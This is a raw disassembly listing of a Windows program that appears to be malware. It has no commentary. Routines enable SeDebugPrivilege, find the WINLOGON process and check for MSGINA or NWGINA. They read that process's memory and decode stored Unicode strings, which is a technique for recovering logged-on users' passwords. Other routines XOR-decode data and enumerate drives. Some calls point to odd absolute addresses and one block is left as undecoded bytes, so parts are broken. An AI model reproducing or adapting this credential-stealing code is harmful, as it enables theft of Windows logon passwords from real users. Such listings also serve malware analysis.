loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376E8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376A4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2670C08h cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437670 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437644 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi call near ptr 26F0000h nop ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437834 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437830 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437884 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437848 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 90535959h, 2D923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 36917FE8h, 75C08502h dd 0FC75FF8Fh, 349173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023690h, 56B175C0h, 90EEE890h dd 458B0234h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B00 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26B0BEDh nop mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A3C call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A24 call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379C8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437990 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437964 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 27B04A2h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437930 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax nop call near ptr 27C0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 27C0000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 26907A1h nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27E0332h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27D0A99h test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2770000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2760855h test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27C0000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] call near ptr 2670858h nop pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26907A1h test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27E0332h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27D0A99h test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27D0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27E0000h test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 27C0000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 2670858h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2670858h push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] 